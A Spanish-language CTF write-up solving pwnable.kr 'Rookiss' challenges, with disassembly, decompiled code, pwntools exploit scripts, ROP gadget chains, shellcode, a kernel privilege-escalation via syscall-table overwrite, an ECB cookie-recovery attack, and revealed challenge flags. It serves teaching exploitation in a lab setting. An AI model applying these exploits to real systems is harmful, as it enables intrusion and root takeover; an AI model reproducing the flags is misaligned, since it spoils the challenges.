pwnable.kr es un sitio web no comercial que contiene retos enfocados a desarrollar habilidades en explotación binaria, división conocida coloquialmente como “pwn” en sitios afines.
Los retos en pwnable.kr se dividen en cuatro categorías. Ordenadas de la más fácil a la más difícil:
[Toddler’s Bottle]
[Rookiss]
[Grotesque]
[Hacker’s Secret]
En el artículo anterior presenté las soluciones a la primera categoría: “Toodler’s Bottle”. En este continuaré con los retos que pertenecen a “Rookiss”. Esta categoría tiene retos que ya se basan más en técnicas clásicas de explotación y requieren cierta creatividad.
(gdb) disass do_brainfuck Dump of assembler code for function do_brainfuck: # La función maneja cada caracter especial: + - , . < > 0x080485dc <+0>: push ebp 0x080485dd <+1>: mov ebp,esp 0x080485df <+3>: push ebx 0x080485e0 <+4>: sub esp,0x24 0x080485e3 <+7>: mov eax,DWORD PTR [ebp+0x8] 0x080485e6 <+10>: mov BYTE PTR [ebp-0xc],al 0x080485e9 <+13>: movsx eax,BYTE PTR [ebp-0xc] 0x080485ed <+17>: sub eax,0x2b 0x080485f0 <+20>: cmp eax,0x30 0x080485f3 <+23>: ja 0x804866b <do_brainfuck+143> 0x080485f5 <+25>: mov eax,DWORD PTR [eax*4+0x8048848] 0x080485fc <+32>: jmp eax <--- Salta a un indice en 0x8048848 que redirige a cada uno de los handlers de esta funcion 0x080485fe <+34>: mov eax,ds:0x804a080 <-- handler de '>' 0x08048603 <+39>: add eax,0x1 0x08048606 <+42>: mov ds:0x804a080,eax 0x0804860b <+47>: jmp 0x804866b <do_brainfuck+143> 0x0804860d <+49>: mov eax,ds:0x804a080 <-- handler de '<' 0x08048612 <+54>: sub eax,0x1 0x08048615 <+57>: mov ds:0x804a080,eax 0x0804861a <+62>: jmp 0x804866b <do_brainfuck+143> 0x0804861c <+64>: mov eax,ds:0x804a080 <-- handler de '+' 0x08048621 <+69>: movzx edx,BYTE PTR [eax] 0x08048624 <+72>: add edx,0x1 0x08048627 <+75>: mov BYTE PTR [eax],dl 0x08048629 <+77>: jmp 0x804866b <do_brainfuck+143> 0x0804862b <+79>: mov eax,ds:0x804a080 <-- handler de '-' 0x08048630 <+84>: movzx edx,BYTE PTR [eax] 0x08048633 <+87>: sub edx,0x1 0x08048636 <+90>: mov BYTE PTR [eax],dl 0x08048638 <+92>: jmp 0x804866b <do_brainfuck+143> 0x0804863a <+94>: mov eax,ds:0x804a080 <-- handler de ',' 0x0804863f <+99>: movzx eax,BYTE PTR [eax] 0x08048642 <+102>: movsx eax,al 0x08048645 <+105>: mov DWORD PTR [esp],eax --Type <RET> for more, q to quit, c to continue without paging--c 0x08048648 <+108>: call 0x80484d0 <putchar@plt> 0x0804864d <+113>: jmp 0x804866b <do_brainfuck+143> 0x0804864f <+115>: mov ebx,DWORD PTR ds:0x804a080 0x08048655 <+121>: call 0x8048440 <getchar@plt> <-- handler de '.' 0x0804865a <+126>: mov BYTE PTR [ebx],al 0x0804865c <+128>: jmp 0x804866b <do_brainfuck+143> 0x0804865e <+130>: mov DWORD PTR [esp],0x8048830 0x08048665 <+137>: call 0x8048470 <puts@plt> 0x0804866a <+142>: nop 0x0804866b <+143>: add esp,0x24 0x0804866e <+146>: pop ebx 0x0804866f <+147>: pop ebp 0x08048670 <+148>: ret End of assembler dump.
0x804a080 es un puntero al tape (array de celdas de brainfuck) y no hay ninguna verificación de limites así que hay una vulnerabilidad “Out-Of-Bounds”, o sea, podemos movernos fuera del tape y ganar lectura y escritura arbitraria en un rango de direcciones moderado.
El tape se encuentra en 0x804a0a0, podemos ver que se asigna en main:
El binario no tiene PIE, las direcciones de memoria son fijas. Al momento de introducir nuestra entrada se usa fgets, entonces fgets@GOT ya contiene la dirección de puts en libc.
Podemos desplazarnos desde el tape hacia allí e imprimir su contenido:
# Leak fgets@got payload = b'<' * (tape_start - fgets_got) payload += b'.>' * 4 + b"," + b"<" * 4# "<" * 4 solo por consistencia para volver a la dirección exacta de fgets_got, # dado que luego realizaremos mas calculos y tenemos espacio de sobra en el buffer
io.send(b"\x00") # Necesitamos ',' para parar la interaccion y poder filtrar la direccion # Enviamos cualquier byte (realmente este byte que escribimos es de __stack_chk_fail@GLIBC_2.4, cosa que no importa mucho entonces)
ret2libc
Necesitamos llamar a system("/bin/sh") para invocar una shell, pero no controlamos el stack, o eso pensaba.
El programa primero llama a memset(direccion_del_buffer_en_el_stack,relleno,size), y luego a fgets(direccion_del_buffer_en_el_stack,size,fd)
Podemos:
Reemplazar el puntero en memset@GOT con gets para escribir lo que queramos en el stack (/bin/sh!) (memset(buffer,...,...) -> gets(buffer))
Reemplazar el puntero en fgets@GOT con system, que lee como primer parámetro lo que ya escribimos en el buffer. (fgets(buffer,...,...) -> system(buffer,...,...))
Pero aunque podemos lograr esto necesitamos desencadenar esa secuencia de llamadas, debemos retornar a main.
Para ello reemplazaremos el puntero en putchar@GOT con la dirección de main. Ahora podemos desencadenar la llamada a main con un ‘.’
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
1 2 3
./md5calculator - Welcome to the free MD5 calculating service - Are you human? input captcha : 378101604
Si vamos a my_hash nos enteramos que el número que devuelve es el resultado de una operacion con números aleatorios obtenidos con rand() y el stack_canary!:
/* WARNING: Restarted to delay deadcode elimination for space : stack */
intmy_hash(void)
{ int iVar1; int in_GS_OFFSET; int local_3c; int local_30 [8]; int stack_cookie; stack_cookie = *(int *)(in_GS_OFFSET + 0x14); for (local_3c = 0; local_3c < 8; local_3c = local_3c + 1) { iVar1 = rand(); local_30[local_3c] = iVar1; } if (stack_cookie != *(int *)(in_GS_OFFSET + 0x14)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return local_30[5] + local_30[1] + (local_30[2] - local_30[3]) + stack_cookie + local_30[7] + (local_30[4] - local_30[6]); }
Los números aleatorios generados con rand() con una semilla basada en tiempo en C se pueden reproducir si tomamos el tiempo actual dentro del mismo segundo en que se tomó en el programa.
Podemos extraer el canario y entonces, dado que el binario no tiene PIE, hacer ROP para invocar a system("/bin.sh").
En la función process_hash se toma la entrada de usuario y se almacenan 0x400 bytes en el buffer global g_buf, luego se pasa a Base64Decode y el resultado se almacena en un buffer local buffer[128].
Podemos codificar nuestra carga útil en base64 (offset + ROP) y pasársela como entrada, desbordar el buffer y controlar el flujo del programa.
Para invocar una shell necesitamos un puntero a “/bin/sh\x00”. Luego de la carga útil en base64 enviamos la cadena y le pasamos como argumento a systemg_buf + offset a la cadena.
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
De leer https://linuxcommand.org/lc3_man_pages/ulimith.html concluimos que si hacemos ulimit -f 0 el tamaño máximo (en bloques de 512 bytes) de cualquier archivo que un proceso pueda crear mediante escritura es ahora 0.
Esto provoca que no se pueda crear el archivo temporal y al intentar leer del archivo inexistente no se actualiza passcode, entonces passcode=0. Si pasamos de parámetro una cadena vacía entonces strtoul la convierte en 0 y pasamos la verificación.
Sin embargo cuando el tamaño de un archivo excede lo establecido por ulimit se lanza una excepción SIGXFSZ.
Usando trap 'commands' signal en bash se puede personalizar el comportamiento de la terminal para una señal en especifico. Ignorando SIGXFSZ (trap '' SIGXFSZ) conseguimos la flag.
Otra forma es usando un subproceso. Por ejemplo con python:
1 2 3 4 5 6 7 8 9 10 11 12 13
import signal import resource import subprocess import os
# preexec_fd sets the signal handler for the subprocess subp = subprocess.Popen( ["/home/otp/otp", ""], preexec_fn=lambda: signal.signal(signal.SIGXFSZ, signal.SIG_IGN)) subp.wait()
f1le_0peration_r3turn_value_matters
ascii_easy
1 2 3 4 5 6
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
Intro
El reto carga una version vieja de libc en una dirección fija de la memoria. Debemos hacer ROP para conseguir una shell pero con la condición de que solo podemos usar valores ascii.
Pasé una considerable cantidad de tiempo intentando hacer un retorno a wrappers de execve y fallando por alguna razón. En fin, que no vi la pista y eso me costó caro:
Un call execve encadenable estaba en el offset 0x000d8b69:
Hay un gadget add edi, dword ptr [ecx + 0xe] ; add al, 0xc6 ; ret. Podemos hacer edi=BASE + 0x0015d7ec si introducimos una dirección valida en edi y con ecx podemos encontrar otra dirección que contenga un valor x tal que edi + [ecx + 0xe] = BASE + 0x0015d7ec.
Para edi=BASE + 0x154020 la diferencia es 0xcc97. Esta dirección sirve:
BASE = 0x5555e000 pop_ecx = 0x556d2a51# 0x556d2a51: pop ecx ; add al, 0xa ; ret pop_edi_ebx = 0x555e5132# 0x555e5132: pop edi ; pop ebx ; ret pop_ebx_esi = 0x55686c71# 0x55686c71: pop ebx ; pop esi ; ret add_esi_ebx = 0x555c612c# 0x555c612c: add esi, ebx ; ret pop_ebp = 0x5557506f# 0x5557506f: pop ebp ; ret add_edi_ecx_content = 0x556d7d39# 0x556d7d39: add edi, dword ptr [ecx + 0xe] ; add al, 0xc6 ; ret call_execve = BASE + 0x000d8b69# execve([edi],[esi],[ecx])
Los primeros 4 bytes de argv[0] representan la nueva dirección que se le pasará a edx. Debemos controlarla para saltar la ejecución al shellcode que escribamos en el stack, porque el binario no tiene el bit NX activo y el stack es ejecutable.
Segun la manpage de execve podemos pasar la ruta al ejecutable pero cambiar su nombre(argv[0]). Por ejemplo: execve("/bin/ls",["listar_archivos","-lh"],NULL):
DESCRIPTION execve() executes the program referred to by pathname. This causes the program that is currently being run by the calling process to be re‐ placed with a new program, with newly initialized stack, heap, and (initialized and uninitialized) data segments.
pathname must be either a binary executable, or a script starting with a line of the form:
No podemos saber la dirección exacta de nuestro shellcode por el ASLR pero podemos hacer un “stack spray” para llenar una región de la pila considerablemente grande con NOP slides y shellcode. Podemos hacer uso tanto de argv[] como de env[].
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
from pwn import * context.log_level = "error"
# I simply started with a nop sled of 100 bytes and increased it gradually until the program complained nop_sled = b"\x90" * (1024 * 126 - 4) shellcode = asm(shellcraft.open("flag") + shellcraft.read("eax","esp",50) + shellcraft.write(1,"esp",50) + shellcraft.exit(0)) # Trial and error looking at the core dumps and calculating some stuff address = 0xffce11d4
argv0 = [p32(address) + nop_sled + shellcode]
for _ inrange(200): try: p = process(argv=argv0,executable="./tiny_easy") print(p.recv(50)) break except Exception as e: p.close() continue
Such_a_tiny_task:_Great_job_done_here!
dragon
1 2 3 4 5 6 7 8
$ checksec dragon [*] '/home/kalcast/Laboratorio/pwn/dragon' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
Desarrollo
Podemos observar en PlayGame una función SecretLevel que invoca a system("/bin/sh") pero no podremos escribir la contraseña correcta porque la entrada de usuario esta limitada a 10 caracteres:
voidSecretLevel(void) { int iVar1; int in_GS_OFFSET; char user_input [10]; int local_10; local_10 = *(int *)(in_GS_OFFSET + 0x14); printf("Welcome to Secret Level!\nInput Password : ") ; __isoc99_scanf(&DAT_0804932f__%10s,user_input); iVar1 = strcmp(user_input,"Nice_Try_But_The_Drago ns_Won\'t_Let_You!"); if (iVar1 != 0) { puts("Wrong!\n"); /* WARNING: Subroutine does not return * / exit(-1); } system("/bin/sh"); if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) { /* WARNING: Subroutine does not return * / __stack_chk_fail(); } return; }
Usé Ghidra para crear estructuras para los objetos Hero y Dragon:
Nota: Algunos tipos a lo mejor deben ser int y no uint pero eran irrelevantes para el caso actual.
Como se puede notar el valor de HP de un Dragon es un byte con signo, porque en el desensamblado para revisar si el dragón fue derrotado se usa test para verificar el bit de signo:
El segundo monstruo al que nos enfrentamos es Mama Dragon con 80 de HP y +4 de LifeRegeneration
Si elegimos al Priest y usamos Holy Shield + Holy Shield + Clarity aguantamos varios turnos hasta que el HP de Mama Dragon se desborde y acabe siendo negativo: Un pequeño ejemplo:
1 2 3 4 5
intmain(){ signedchar a = 127; a++; printf("%d",a); }
1 2 3 4 5
Valores de Dragon->HP 84,88,92, 96,100,104, 108,112,116, 120,124,-128
Chunk corrupto
Una vez ganamos se ejecuta este bloque:
1 2 3 4 5 6 7 8
else { puts("Well Done Hero! You Killed The Dragon!"); puts("The World Will Remember You As:"); your_name = malloc(0x10); __isoc99_scanf(&DAT_08049108__%16s__,your_nam e); puts("And The Dragon You Have Defeated Was Call ed:"); (*(code *)Dragon->Info)(Dragon); }
Hay algo importante que tenemos que notar. Hero, Dragon y your_name son punteros a chunks del heap todos del mismo tamaño, eso significa que van a la misma tcachebin. Al iniciar el combate estas estructuras lucen asi:
1 2
HEAP: chunk1(Hero) chunk2(Dragon) TCACHEBIN 0X10: HEAD
Al ganar se ejecuta free(Dragon):
1 2
HEAP: chunk1(Hero) free_chunk2(Dragon) TCACHEBIN 0X10: chunk2(Dragon) -> HEAD
Entonces al ejecutarseyour_name = malloc(0x10); se reutiliza ese chunk de la tcache:
1 2
HEAP: chunk1(Hero) chunk2(your_name) TCACHEBIN 0X10: HEAD
Y lo más importante es que el puntero al chunk de la estructura Dragon NO se ha hecho = NULL, por lo que sigue apuntando al mismo chunk haciendo que este código: (*(code *)Dragon->Info)(Dragon); intente ejecutar la dirección que se forma por los 4 primeros bytes de la entrada de usuario.
Escribimos la dirección de SecretLevel() después de la comprobación de la contraseña y obtenemos la shell.
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from pwn import *
p = remote("pwnable.kr",9004) #p = process("./dragon") # Choose Knight against Baby Dragon p.sendline(b"2") # Use Frenzy and lose p.sendline(b"2") # Choose Priest against Mama Dragon p.sendline(b"1") # Hold on with HolyShield + HolyShield + Clarity until you unleash an integer overflow whileb"Well Done Hero! You Killed The Dragon!"notin p.recv(): p.sendline(b"3\n3\n2") pause(1) # Overwrite Dragon->PrintMonsterInfo with system("/bin/bash") address p.sendline(p32(0x08048dbf)) # Shell p.interactive()
sys_upper(number : 223) is added cttyhack: can't open '/dev/ttyS0': No such file or directory sh: can't access tty; job control turned off / $ uname -a Linux (none) 3.11.4 #13 SMP Fri Jul 11 00:48:31 PDT 2014 armv7l GNU/Linux / $ id uid=1000 gid=1000 groups=1000 / $ ls bin dev lib lost+found proc sbin tmp boot etc linuxrc m.ko root sys usr / $
m.ko es el módulo agregado por el autor con la syscall 223 sys_upper. Esta syscall no tiene sanitización de entrada y básicamente escribe el contenido de in en out, solo cambiando un rango de caracteres ascii (las minúsculas):
LLamando a commit_creds(prepare_kernel_cred(0)) se pueden ganar privilegios de administrador para el proceso actual:
prepare_kernel_cred(uint id) devuelve un puntero a una estructura cred que contiene las credenciales para una nueva tarea. El parametro 0 es el ID de root.
commit_creds(struct cred *new) actualiza las credenciales de la tarea actual con las nuevas credenciales proporcionadas.
Con /proc/kallsyms podemos observar los símbolos del kernel y sus direcciones de memoria. Por lo visto tenemos permiso de lectura:
1 2
/ $ ls -l /proc/kallsyms -r--r--r-- 1 0 0 0 Aug 29 22:49 /proc/kallsyms
La estrategia se resume en hallar dos punteros a syscalls en la SYSCALL_TABLEsys_1 y sys_2 que tomen solo un parametro tal que podamos reemplazar: sys_1 => commit_creds, sys_2 => prepare_kernel_cred y entonces sys_1(sys_2(0)). Después con máximos privilegios invocar una shell: system("/bin/sh").
Lamentablemente commit_creds contiene el byte 0x6c, así que no podemos usar esta dirección directamente, pero podemos reemplazar este byte por 0x60 y en esa dirección escribir 12 bytes de instrucciones NOP como mov reg,reg.
// Write in [commit_creds - 12] 12 bytes of some kind of NOP (mov r8,r8) syscall(SYS_UPPER,"\x08\x80\xa0\xe1\x08\x80\xa0\xe1\x08\x80\xa0\xe1",0x8003f560);
// Replace sys_stime with commit_creds -12 syscall(SYS_UPPER,COMMIT_CREDS_MINUS_12,&sct[SYS_STIME]);
// Replace sys_time with prepare_kernel_cred syscall(SYS_UPPER,PREPARE_KERNEL_CRED,&sct[SYS_TIME]);
# guest / a488ff12949b87e5c93d489c27217486702b179c060399adf36fc3bc1f5425ec defsanitize(arg): for c in arg: if c notin'1234567890abcdefghijklmnopqrstuvwxyz-_': returnFalse returnTrue
if cred==0 : print'you are not authenticated user' sys.stdout.flush() os._exit(0) if cred==1 : print'hi guest, login as admin' sys.stdout.flush() os._exit(0)
print'hi admin, here is your flag' printopen('flag').read() sys.stdout.flush()
id = packet.split('-')[0] pw = packet.split('-')[1]
if packet.split('-')[2] != cookie: return0 if hashlib.sha256(id+cookie).hexdigest() == pw andid == 'guest': return1 if hashlib.sha256(id+cookie).hexdigest() == pw andid == 'admin': return2 return0
server = SimpleXMLRPCServer(("localhost", 9100)) print"Listening on port 9100..." server.register_function(authenticate, "authenticate") server.serve_forever()
Intro
El reto implementa un cliente y un servidor RPC que realiza una autenticacion con id y contraseña.
El mensaje que se encripta sigue el formato “{id}-{pw}-{cookie}”. Donde pw es sha256sum(id+cookie). La cookie la desconocemos.
Para conseguir la flag debemos usar el id “admin” y la cookie correcta.
Conocemos el texto plano parcialmente, el texto cifrado, el tamaño de bloque y que la clave y el IV son constantes.
KPA
Known plaintext attack se basa en que, como se dijo, la clave e IV no varían y conocemos el tamaño de bloque.
Lo que hacemos es rellenar un bloque con bytes de tal manera que el último byte sea un byte de la cookie.
Por ejemplo en el formato “{id}-{pw}-{cookie}”. Si hacemos id="-"*13 y pw="" entonces el primer bloque luce asi: "-" * 15 + cookie_byte.
Podemos entonces hacer id="-"*15 + guess_byte y pw="" para que podamos adivinar el byte.
Intentamos el proceso con cada caracter del alfabeto dado hasta que el texto cifrado de ambos casos coincida.
defget_ciphertext(id, pw=b""): #r = remote("pwnable.kr",9006) r = process(["nc","0","9006"]) r.sendlineafter(b"ID\n",id) r.sendlineafter(b"PW\n",pw) l = r.recvline().strip().decode() r.close() c = l[l.find("(")+1:l.find(")")] return c
#r = process("pwnable.kr",9006) r = process(["nc","0","9006"]) r.sendlineafter(b"ID\n",id) r.sendlineafter(b"PW\n",pw) r.interactive()
Nota
¿Por qué 29?
Podemos usar un número grande y añadir una condicional para que se detenga cuando no hallan coincidencias de todas formas pero se puede detectar el tamaño de la cookie por medio del padding:
Se puede observar como al añadir el último byte en el script aparecen un bloque más, 1 byte de la cookie desplazado y los otros 15 son padding PKCS#7.
1mplem3nt4t1on_m1stak3_Br3akes_Crypt0
echo2
1 2 3 4 5 6 7 8
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No
FSB & UAF
La opción 2, “FSB echo”, nos permite usar una vulnerabildad de cadena formateada.
La opción 3, “UAF echo”, nos permite crear un chunk, escribir en él y luego lo libera.
A pesar de que la variable global o apunta a un chunk reservado con malloc(0x28) y los chunks de la opción 3 son reservados con malloc(0x20), malloc internamente los crea de tamaño 0x30 a ambos.
Hay un bug en el código que permiter liberar o antes de que se confirme que se desea salir del programa:
El programa tiene una pila ejecutable y los 24 bytes de username son suficientes para introducir shellcode.
Filtrar una dirección de la pila y calcular la dirección donde se almacena nuestro shellcode.
Liberar o y luego usar la opción 2 lleva a un Use After Free, con el que podemos sobreescribir o+0x18, la función gretings con la dirección del shellcode.
defstart(): if args.REMOTE: return remote(domain, port) if args.GDB: return gdb.debug([elf.path], gdbscript=gs) # you need r.interactive() ! else: return process([elf.path]) r = start()
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments Stripped: No
Introducción
Podemos observar que el stack es ejecutable. Escribiremos shellcode en una dirección de la pila y redirigiremos el flujo de ejecución allí para invocar una shell.
Las funciones que nos interesan son RSA_encrypt y RSA_decrypt, pero primero tenemos que llamar a set_key_pair para crear un par de claves RSA.
Esta función tiene una comprobación inusual que hace el cifrado practicamente inútil (no voy a empezar a escribir aritmética modular aquí). Después hay otra comprobación sobre el tamaño de n:
Una combinacion que funciona puede ser p=10000, q=10000, e=1, d=1.
Si encriptas un mensaje observas que el programa en la práctica lo que hace es codificar en hexadecimal y extender el byte a un int.
La implementación de este programa tiene varios bugs pero lo más útil es la vulnerabilidad de cadena formateada en printf(g_ebuf) y printf(g_pbuf) en RSA_encrypt y RSA_decrypt respectivamente.
Explotación
Objetivo: Sobreescribir la entrada de exit en la GOT por una dirección en el stack donde almacenamos shellcode.
Paso 1: Filtrar RBP
Para esto hay que construir el Dockefile. Cambié el script de perl por socat para servir el binario:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
Introducción
Recomiendo que tenga un conocimiento basico de C++, POO, como funciona el heap, malloc y libc.
Lo primero que notamos es que las funciones tienen nombres raros como “_ZNSaIcED1Ev@plt” o “_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1E”. Esto es producto de un mangler, una parte del compilador que genera nombres únicos.
Podemos observar que algunas contienen “basic_ostream”, “basic_istream”.
Esto es característico de C++, son los operadores de flujo “<<” y “>>”.
Herramientas como Ghidra son capaces de desenredar estas convenciones de decompiladores como GCC y MSVC.
En Ghidra se ven las clases “Human”, “Man”, “Woman”. “Man” y “Woman”, que parecen ser clases derivadas de “Human”.
{ ostream *this_00; Human::introduce((Human *)this); this_00 = std::operator<<((ostream *)std::cout,"I am a nice g uy!"); std::ostream::operator<<(this_00,std::endl<>); return; }
Podemos ver esto interactuando con el binario:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
└─$ ./uaf 1. use 2. after 3. free 1 My name is Jack I am 25 years old I am a nice guy! My name is Jill I am 21 years old I am a cute girl! 1. use 2. after 3. free
Su otro método es mas interesante. Este no cambia en las clases derivadas:
Ambos métodos son virtuales. Esto significa que tienen entradas en una estructura llamada vtable. Cada clase tiene su propia vtable con sus funciones virtuales y los llaman mediante vtable_base_address + offset.
Si ponemos un breakpoint en *main+318 observamos como es que se llama a introduce() para “Man” y “Woman”:
En resumen el proceso es este:
1 2 3 4 5
rax = 0x4182b0 (puntero a vtable de Man) rax = *rax = 0x404d80 (vtable de Man + 0x10) (apunta a Human::give_shell()!) rax = rax + 8 = 0x404d88 (vtable de Man + 0x18) (apunta a Man::Introduce()) rdx = *rax = 0x402b20 (dirección de Man::Introduce()) call rdx
Nuestro objetivo es lograr que rax + offset caiga en 0x404d80 y asi llamar a Human::give_shell().
Use-After-Free
Como sabemos C++ almacena sus objetos en el heap. Y los chunks de las instancias de Man y Woman son contiguos.
En la opcion 2 (after) podemos escribir argv[1] bytes desde un descriptor de archivo para argv[2] hacia un buffer creado con new, o sea, en el heap:
Revisando el código de main de nuevo en Ghidra vemos que no se hace NULL a los punteros:
Cuando un chunk es liberado generalmente va primero a una de las tcachebins, y si se intenta reservar un nuevo chunk del mismo tamaño se reutiliza el último en entrar a la tcachebin del tamaño correspondiente.
Podemos entonces corromper los chunks de Man y Woman.
La estrategia es sencilla:
Usamos la opcion 3 (“free”) para liberar los dos chunks Man y luego Woman, la tcachebin de 0x30 bytes luce algo asi: Woman_Free_Chunk <- Man_Free_Chunk <- HEAD
Usamos la opcion 2 (“after”) para crear chunks del mismo tamaño que los objetos (0x30 bytes). Tenemos que hacer esto dos veces porque en el primer alloc sobreescribimos Woman, y en el segundo, Man.
Usamos la opcion 3 (“use”) para invocar a Human::give_shell().
Nos filtran una dirección del stack (puntero a “A”) y otra del heap (header de “A”).
Además contamos con una función shell que llama a system("/bin/sh").
Heap overflow y Unlink
Entonces nos dejan bien claros que tenemos que usar un heap overflow para que al llamar a unlink() podamos hacer un what-write-where.
Se hace un unlink a “B”. Con el heap overflow en “A” controlamos FD y BK.
Nota: *No estamos trabajando con los verdaderos fd y bk, sino con los de la estructura. NO hay offset a fd y solo 4 bytes de offset a bk.
Mis primeros intentos fueron infructuosos por culpa de BK->fd=FD.
Por ejemplo, si hacemos FD=ret_address_in_stack - 4 y BK=shell_addr ocurre:
1 2 3 4 5
BK = shell_addr FD = ret_address_in_stack - 4 FD->bk(ret_address_in_stack - 4 + 4) = shell_addr BK->fd(shell_address) = ret_address_in_stack - 4 <--- La seccion .data NO es escribible (segfault)
Y si usasemos heap_leaked_address o alguna dirección relativa recordemos que entonces heap_leaked_address - 4 = ret_address_in_stack. Por lo que nuestro shellcode queda arruinado.
Por suerte la función main tiene un epílogo peculiar:
La función hace esp=ebp-8, luego pop ecx,ebx,ebp, y por ultimo esp=ecx-4.
Mi idea fue hacer FD=ebp_minus_8 - 4 y BK=heap_address + 12.
Nuestro heap_leak es al header de “A”, al sumarle 12 lo colocamos en “A->buf[3]“.
Cuando se ejecute unlink(B), ebp-8 contendrá la dirección de “A->buf[3]“. Igualmente, “A->buf[3]“ contendrá la dirección de ebp-8.
Al final de main pop ecx hará ecx=0x8a0d9bc y lea esp, [ecx - 4] produce esp=0x8a0d9b8 (“A->buf”), que contendrá la dirección de nuestra shell:
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
El programa ejecuta el comando echo I love <nuestra_entrada> very much!". La función protect se encarga de filtrar los caracteres que llevan a una inyección de comandos sustituyendo los caracteres especiales con “♥”.
Dado que “♥” se representa con tres caracteres y no hay verificación de límites podemos desbordar input[256] en main.
Seguido de input[256] se encuentra len_prolog, la longitud de prolog, que contiene “echo I love”.
Dado que el programa concatena prolog, input y epilog, si con el desbordamiento hacemos que la longitud de prolog sea 0 podemos escribir cat flag en input y se ejecutará.
defstart(): if args.REMOTE: return remote(domain, port) if args.GDB: return gdb.debug([elf.path], gdbscript=gs) # you need r.interactive() ! else: return process([elf.path]) r = start()
strcat no verifica límites y permite escribir más allá de g_buf, pudiendo sobreescribir prompt.
Si sobreescribimos el LSB de prompt con un byte nulo, podemos hacer que strlen(prompt)=32 cuando el hilo principal está esperando entrada en wgetch dentro de get_input.
write-what-where con prompt
Dado que _len=2 pero strlen(prompt)=32 ahora podemos retroceder (borrar) hasta _dest que contiene la dirección donde se escribe. Con esto se consigue un write-what-where limitado (sin \x7f\x0a\x00).
Con esta vulnerabilidad podemos:
Sobreescribir free@got con la dirección de main y abusar de esto tanto como queramos.
Sobreescribir prompt con la dirección de strlen@got u otra entrada de la GOT que ya tenga una dirección de libc resuelta y obtener un leak.
Sobreescribir free@got con la dirección de scanf u printf, o incluso usar ret2csu para conseguir RCE.
write-what-where con scanf
scanf toma los varargs así:
%1$ -> RSI (el formato es RDI)
%2$ -> RDX
%3$ -> RCX
%4$ -> R8
%5$ -> R9
%6$ -> El primer valor en el stack (justo encima de la dirección de retorno).
El sexto sería por ejemplo de este backtrace:
1 2 3 4 5 6 7 8
pwndbg> bt #0 _IO_vfscanf_internal (s=<optimized out>, format=<optimized out>, argptr=argptr@entry=0x7fff89265688, errp=errp@entry=0x0) at vfscanf.c:2458 #1 0x00007fd5188485ef in __isoc99_scanf (format=<optimized out>) at isoc99_scanf.c:37 #2 0x0000000000401cca in loop () #3 0x0000000000401f74 in main () #4 0x0000000000401cca in loop ()
defvuln(): # Overwrite LSB in "prompt" with NULL byte for _ inrange(8): r.sendlineafter(b">",b"beach") for _ inrange(13): r.sendlineafter(b">",b"duck")
defoverwrite(what, where): # strlen(prompt) = 32 but prompt is "> " and _len = 2 # write-what-where , what = buffer, where = hijacked _dest payload = b"\x7f" * 2 payload += what payload += b"\x7f" * (8 + len(what)) payload += where sleep(0.5) r.sendlineafter(b">",payload)
defdecode_tty_notation(data): res = b"" i = 0 while i < len(data): if data[i:i+2] == b"^?": res += bytes([0x7f]) i += 2 elif data[i] == ord(b"^") and \ i < len(data)-1and \ data[i+1] >= 0x40and \ data[i+1] <= 0x5F: res += bytes([data[i+1] - 0x40]) i += 2 elif data[i] == ord(b"~") and \ i < len(data)-1and \ data[i+1] < 0xc0: res += bytes([data[i+1] + 0x40]) i += 2 else: res += bytes([data[i]]) i += 1 return res
# Gain infinite oportunities init(b"id",b"pw") vuln() what = p64(elf.sym["main"]).rstrip(b"\x00") where = p64(elf.got["free"]).rstrip(b"\x00") overwrite(what, where) r.info(f"Overwrote free@got.plt with main") r.sendlineafter(b">",b"/quit")
# Write what where with scanf init(b"%6$llu-%26$llu", b"sh") vuln() what = p64(elf.sym["__isoc99_scanf"]).rstrip(b"\x00") where = p64(elf.got["free"]).rstrip(b"\x00") overwrite(what, where) r.info(f"Overwrote free@got.plt with __isoc99_scanf@plt") r.sendlineafter(b">",b"/quit") r.sendline(f"{elf.got['free']}-{libc.sym['system']}".encode()) r.info(f"Overwrote free@got.plt with __libc_system") r.success("Dropping shell...") sleep(0.5) r.interactive()
W4at_a_vuln3raBle_cH4t
crashgen
Aún no…
leakme
1 2 3 4 5 6
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
PC control
El programa usa glibc-2.23, lo patcheé con un binario de esta version que me encontré en el repositorio de how2heap.
1 2 3 4 5 6 7 8 9 10 11 12 13
undefined8 menu1(void)
{ char *chunk; puts("give me bytes"); chunk = (char *)malloc(200); fgets(chunk,150,stdin); puts("info leak with uninitialized bytes?"); fwrite(chunk,4,1,stdout); free(chunk); return0; }
{ char *chunk; long in_FS_OFFSET; char buf [92]; int i; long canary; canary = *(long *)(in_FS_OFFSET + 0x28); memset(buf,0,100); puts("you may start stack BOF but..."); puts("no memory leak from now!"); close(1); close(2); chunk = (char *)malloc(100); fgets(chunk,116,stdin); for (; i < 200; i = i + 1) { buf[i] = chunk[i]; } stdin = (FILE *)0xdeadbeef; if (canary != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return * / __stack_chk_fail(); } return 0; }
